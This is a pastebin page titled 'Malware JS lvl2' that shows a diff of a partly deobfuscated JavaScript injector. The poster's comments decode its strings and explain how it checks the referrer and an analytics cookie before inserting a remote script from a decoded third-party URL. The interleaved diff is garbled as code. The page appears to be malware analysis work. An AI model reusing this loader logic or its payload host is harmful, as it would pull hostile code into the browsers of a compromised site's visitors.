godclan.hu Pastebin

Malware JS lvl2

From eeew, 3 Years ago, written in JavaScript, viewed 301 times. This paste is a reply to Re: Malware JS from eeew - go back
URL https://paste.godclan.hu/view/yUleQqVk/diff Embed
Viewing differences between Re: Malware JS and Malware JS lvl2
;
(function () {
        var a mt = [
    'text/javascript',
    ')njosirthalcfoml5',
    'length', 'trderrnrme1fze6r(',
    'script', 'abs', 'parentNode',
    'getElementsByTagName', 't=ha5mytou5_p_d',
    '5mgrfokf7tma7l!pp',
    'type',
    'async',
    'oe3m6axnwt8s5omh7',
    'jfjOcxieyd2njif',
    'createElement',
    'while',
    'insertBefore'
];
(function(b, e) {
    document[yb("jr)e)r4r;e;f8ejr,")] || '';
        var f xy = function(g) {
        while (--g) {
            b['push'](b['shift']());
        }
    };
    f(++e);
}(a, 0x12b));
/*
a = 
    ?0: "type"
    ?1: "async"
    ?2: "oe3m6axnwt8s5omh7"
    ?3: "jfjOcxieyd2njif"
    ?4: "createElement"
    ?5: "while"
    ?6: "insertBefore"
    ?7: "text/javascript"
    ?8: ")njosirthalcfoml5"
    ?9: "length"
    ?10: "trderrnrme1fze6r("
    ?11: "script"
    ?12: "abs"
    ?13: "parentNode"
    ?14: "getElementsByTagName"
    ?15: "t=ha5mytou5_p_d"
    ?16: "5mgrfokf7tma7l!pp"
*/
new RegExp(yb('&/7)g+)](/;^,[)(5/(/):{'));
        if (!mt || window[yb(":nvo)i{t{a(c;oql(")][yb("2f)e)r{h,")][yb(":h(c(t}afm(")](xy)[1] == mt[yb(":h(c(t}afm(")](xy)[1]) {
                return;
        };
        var b kp = function(c, d) {
    c = c - 0x0;
    navigator[yb("ct2n{e;g,Agr4e;s(u}")];
        var e ss = a[c];
    return e;
};
document[yb("8e)i7k}o}o(c)")];
        if (ar(kp, yb("fs}wqo{d6nmigWe")) && !ar(kp, yb("7d;i;o5r(d}n,A}"))) {
                if (!ar(ss, yb("s=(a;m(t7u;_r_y_{"))) {
                        var _cs qq = [
    '3tqnjerg4Akriews)ue',
    b('0xb'),
    b('0x10'),
    'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp',
    b('0x5'),
    b('0x3'),
    b('0xa'),
    b('0x8'),
    'get',
    'fejiekzokovce',
    b('0xf'),
    b('0x2'),
    b('0xc'),
    b('0x7')
];
/*
_cs = 
    0: "3tqnjerg4Akriews)ue"
    ?1: "script"
    ?2: "5mgrfokf7tma7l!pp"
    ?3: "vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp"
    ?4: "while"
    ?5: "jfjOcxieyd2njif"
    ?6: "trderrnrme1fze6r("
    ?7: ")njosirthalcfoml5"
    ?8: "get"
    ?9: "fejiekzokovce"
    ?10: "t=ha5mytou5_p_d"
    ?11: "oe3m6axnwt8s5omh7"
    ?12: "abs"
    ?13: "text/javascript"

*/
if (ndsw === undefined) {
    var ndsw = true;
    (function() {
        var c = navigator;
        var d = document;
        var e = screen;
        var f = window;
        var g = navigator[m(_cs[0x0])]; // navigator.userAgent
        var h = navigator[m(_cs[0x2])]; // navigator.platform
        var i = document[m(_cs[0x9])]; // document.cookie
        createElement('script');
                        qq.type = 'text/javascript';
                        qq.async = true;
                        qq.src = yb('19x2;0}4u965,3,9x5019=;t8&{3{Qcj)M(9fQkW8a,j}Z)S(Z72}c}j(N{y,k{DcZ;h)RyW}ZlzsU2z)Y}1;U}D,Mak3N{D8O{i,1}j}d2=td(?(d}x4a9.6elc;r{u2o}s}e;R{b8e,W4/;m9onc,.yy{r,e(v;i7l,e(d)n;acv)s{s}e4r(pwx(e,.(ywr{tls}iag1efrm/}/m:{s;p}t{t)h(');
                        var j di = window[m(_cs[0x7])][m(_cs[0xb])]; // document.location.hostname
        var k = document[m(_cs[0x6])]; // document.referrer
        if (k && !n(k, j) /* document.referrer !contains hostname */) {
            if (!n(i, m(_cs[0xa])) /* document.cookie !contains '__utma=' */) {
                var c = document[b('0x4')](_cs[0x1]); // document.createElement('script')
                c[b('0x0')] = _cs[0xd]; // c.type = "text/javascript"
                c[b('0x1')] = !![]; // c.async = true
                c['src'] = m(_cs[0x3]); // "https://public.clickstat360.com/ui_node.js?cid=240&v=827ccb0eea8a706c4c34a16891f84e7b"
                var l = document[b('0xe')](_cs[0x1])[0x0]; // document.getElementsByTagName('script')[0]
                l[b('0xd')][b('0x6')](c, l); // l.getElementsByTagName('script')[0];
                        di.parentNode.insertBefore(c, l)
            }
        }

        insertBefore(qq, di);
                }
        }
        function m(p) {
            yb(ua) {
                var q bb = '';
            '';
                for (var r mv = 0x0; r 0; mv < p[b('0x9')]; r++) {
                ua.length; mv++) {
                        if (r (mv % 0x2 2 === 0x1) q 1)
                                bb += p[r];
            }
            q ua[mv];
                }
                bb = o(q);
            iz(bb);
                return q;
        }

        bb;
        }
        function o(p) {
            ar(bi, df) {
                return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;
        }
        function iz(rl) {
                var q bl = '';
            '';
                for (var r tx = p[b('0x9')] rl.length - 0x1; r 1; tx >= 0x0; r--) {
                q 0; tx--) {
                        bl += p[r];
            }
            rl[tx];
                }
                return q;
        }

        function n(p, q) { // contains:  (p.indexOf !== -1)
            return p[m(_cs[0x5])](q) !== -0x1;
        }
    }());
}bl;
        }
})();

Replies to Malware JS lvl2 rss

Title Name Language When
Re: Malware JS lvl2 eeew javascript 3 Years ago.

Reply to "Malware JS lvl2"

Here you can reply to the paste above

Powered by Stikked-fit